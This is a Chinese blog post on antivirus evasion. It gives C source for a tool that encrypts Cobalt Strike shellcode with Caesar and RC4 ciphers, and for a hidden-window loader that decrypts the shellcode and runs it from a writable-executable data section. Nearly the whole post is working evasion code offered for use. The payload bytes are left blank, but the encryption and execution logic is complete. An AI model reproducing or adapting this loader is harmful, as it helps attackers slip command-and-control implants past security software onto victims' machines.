首页 > 其他分享 >免杀——凯撒+RC4+Base64分离免杀

免杀——凯撒+RC4+Base64分离免杀

时间:2022-12-31 15:44:50浏览次数:59  
标签:免杀 RC4 Base64 int nNewLength buf1 include buf

Shellcode生成器:

buf是CS生成的Shellcode

#include "Caesar.h"
#include "Base64.h"
#include "RC4.h"

int main()
{
	unsigned char buf[] = ""
        
	unsigned char* buf1;

	int nLength = sizeof(buf) - 1;
	int nNewLength = 0;

	unsigned char key[] = "HelloWorld";

	//Base64
	//buf1 = Base64_Encode(buf, nLength, &nNewLength);

	//凯撒
	buf1 = buf;
	nNewLength = nLength;
	Caesar_Encryption(buf1, nNewLength, 7, 9);

	//RC4
	RC4_Crypt(buf1, nNewLength, key, sizeof(key) - 1);

	for (int i = 0; i < nNewLength; i++) {
		printf("\\x%02hx", buf1[i]);
	}

	//free(buf1);

	return 0;
}

 

加载器:

#include "Caesar.h"
#include "Base64.h"
#include "RC4.h"
#include <windows.h>

#include<Rpc.h>
#pragma comment(lib,"Rpcrt4.lib")


//data段可读写
#pragma comment(linker, "/section:.data,RWE") 

//不显示窗口
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) 
#pragma comment(linker, "/INCREMENTAL:NO") 

int main()
{
    unsigned char buf[] = "";
	
	int nLength = sizeof(buf) - 1;
	int nNewLength = 0;
	
	unsigned char key[] = "HelloWorld";
	
	RC4_Crypt(buf, nLength, key, sizeof(key) - 1);
	
	Caesar_Decryption(buf, nLength, 7, 9);
	
	((void(*)(void)) & buf)();

	MessageBox(NULL, L"", L"", NULL);
}
 

标签:免杀,RC4,Base64,int,nNewLength,buf1,include,buf
From: https://www.cnblogs.com/wuruixin/p/17016734.html

相关文章

  • 免杀——CobatStrike基本操作
    安全测试中,将一台虚拟机作为服务器,同时也可以作为客户机。1、将服务器打开./teamserver192.168.204.148kali 2、启动客户端中文插件打开:java-Dfile.encoding=UTF......
  • 密码学——RC4
    对称加密方法RC4通过置换和流加密处理进行加密。#pragmaonce#include<stdio.h>/*RC4初始化函数*/voidRC4_Init(unsignedchar*s,unsignedchar*key,unsign......
  • 密码学——Base64编码
    通过数据表替换,将6位拓展为8位,进行替换,总长度增加1/3。 #pragmaonce#include<stdio.h>#include<stdlib.h>#include<string.h>unsignedchar*Base64_Encode(un......
  • 免杀——直接加载
    通过使用直接加载的方式来加载shellcode,是最初始的免杀手段。不过随着对抗的加剧,该方法现在已经不再实用。#include<stdio.h>#include<stdlib.h>#pragmacomment(li......
  • automapper、autofack、子组件(props)、base64、请求头以及JWT和Session和Cookie 的区
    1、automapper将一个对象的字段的值映射到另一个对象相应的字段中使用:1.引用NuGet:AutoMappert、AutoMapper.Extensions.Microsoft.DependencyInjection2.新建一个......
  • C# byte[]数据流/base64数据流转pdf文件
    pdf转byte[]再转pdf文件进行保存///<summary>///pdf转byte[]再转pdf文件进行保存///</summary>///<paramname="sender"></param......
  • byte{]数据流/base64数据流转pdf文件
    pdf转byte[]再转pdf文件进行保存///<summary>///pdf转byte[]再转pdf文件进行保存///</summary>///<paramname="sender"></......
  • NodeJS 将 Base64 或 Buffer 转可读流(Readable)
    需求如果我们有一个图片文件,想创建当前图片可读流(Readable),可以像这样constfooReadStream=fs.createReadStream('./foo.png'),获取到foo.png的可读流(Readable......
  • JS 通过 URL 获取图片并转成Base64格式
    需求输入一个图片的URL,获取到图片的Base64格式数据前提npminstallaxios代码importaxiosfrom'axios'/***通过url获取图片并转成base64*@param{str......
  • Python免杀过360
    本文章仅供参考学习作者:mantou博客地址:https://www.cnblogs.com/mantou0/分离免杀这个我就不多说了,效果确实不错,网上关于分离免杀的也有很多文章不分离过360一个exe,......